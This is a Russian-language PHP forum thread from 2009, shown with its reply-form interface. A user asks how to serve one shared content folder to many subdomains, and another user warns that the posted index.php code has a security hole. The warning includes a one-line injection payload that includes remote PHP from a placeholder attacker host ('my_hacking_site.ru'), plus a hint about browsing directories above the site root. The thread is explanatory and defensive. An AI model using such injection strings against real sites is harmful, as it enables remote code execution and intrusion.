СМС-ки
   
Пейджер выключен!

  Ответ в Много сайтов с разным дизайном
Информация о Госте
Введите Ваше имя
Кнопки кодов
 Расширенный режим
 Нормальный режим
Введите сообщение
Смайлики
smilie  smilie  smilie 
smilie  smilie  smilie 
smilie  smilie  smilie 
smilie  smilie  smilie 
smilie  smilie  smilie 
     
Показать всё


Расширенный редактор
Опции сообщения  Включить смайлики?
 Включить подпись?
Цитируемое сообщение
Здесь Вы можете отредактировать цитируемое сообщение
Иконки сообщения                                 
                                
  [ Use None ]
 



Последние 10 сообщений [ в обратном порядке ]
belvision Дата 11.04.2009 - 18:33
  Спасибо большое за подробный код пути к папке теперь всё работает
FatCat Дата 10.04.2009 - 15:28
 
Цитата (belvision @ 5.04.2009 - 16:38)
И как именно писать абсолютный путь от папки home

PHP
define(TXT_PATH,"/home/user_dir/public_html/txt/"); 
// бла-бла...
$file=TXT_PATH.$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}


Или топориком на коленке:
PHP
$file="/home/user_dir/public_html/txt/".$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}



Цитата
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Да, заинклюдить не получится.
Но можно будет пошарить по директориям выше директории сайта. wink.gif
belvision Дата 10.04.2009 - 14:12
  Кстате если внешние инклуды запрещены на сервере эта дыра не сработает
belvision Дата 5.04.2009 - 13:38
  И как именно писать абсолютный путь от папки home
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл
belvision Дата 5.04.2009 - 13:19
  Спасибо за подсказку помогите устранить эту дыру безопасности как должен выглядеть код?
FatCat Дата 5.04.2009 - 07:54
 
Цитата (belvision @ 5.04.2009 - 03:04)
как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt

Пишите абсолютный путь от папки /home/
FatCat Дата 5.04.2009 - 07:53
  Ваш вопрос потом.
Дыру в безопасности зачем оставили?
Цитата (belvision @ 5.04.2009 - 03:04)
$file="txt/".$name.".htm";

А если я вместо имени файла подставлю в запросе такую строку?
Код
;include("http://my_hacking_site.ru/hack.php");$file=

В результате на Вашем сайте отработает код:
PHP
$file="txt/";
include(
"http://my_hacking_site.ru/hack.php");
$file=".html";
belvision Дата 5.04.2009 - 00:04
  Здравствуйте! Есть задача сделать много сайтов с доменом третьего уровня с разным дизайном но с одинаковым контентом, Есть сайт domen.ru так же если нужно изменить контент на domen.ru нужно чтобы он изменился сразу на всех остальных сайтах 3 уровня

sait1.domen.ru
sait2.domen.ru
sait3.domen.ru
.............
sait101.domen.ru
Сайт domen.ru построен по схеме разделения дизайна и контента то есть в файл index.php вставлен такой код
<?
if (empty($_SERVER['QUERY_STRING']))
{ $name="index"; }
else
{ $name=basename($_SERVER['QUERY_STRING']); }
$file="txt/".$name.".htm";
if (is_readable($file))
{ readfile($file); }
else
{ echo "<br>Запрошенный вами файл не найден<br>";}
?>
То есть например странице index.php ссылка на страницу новости имеет вид domen.ru/index.php?news или на страницу контакты такая domen.ru/index.php?kontakt
Сами страницы все сложнены в папке txt которая находится в том же каталоге что и сам файл index.php
Поскольку нужно открыть много сайтов с разным дизайном но с таким же контентом как domen.ru
то хотелось бы знать как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt которая находится фактически на другом домене. Это нужно поскольку не хочется эту папку копировать много раз занимая место на сервере и помещать в тот же каталог где находятся страницы индексных файлов доменов 3 уровня.